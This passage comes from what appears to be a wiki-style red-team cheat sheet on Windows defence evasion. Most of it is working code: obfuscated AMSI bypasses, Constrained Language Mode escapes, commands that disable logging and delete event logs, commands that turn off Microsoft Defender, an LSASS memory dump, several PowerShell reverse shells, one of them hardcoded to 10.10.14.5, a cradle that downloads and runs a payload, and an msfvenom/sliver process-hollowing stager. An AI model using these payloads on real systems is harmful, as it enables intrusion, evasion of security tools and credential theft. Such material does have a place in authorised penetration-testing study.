        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
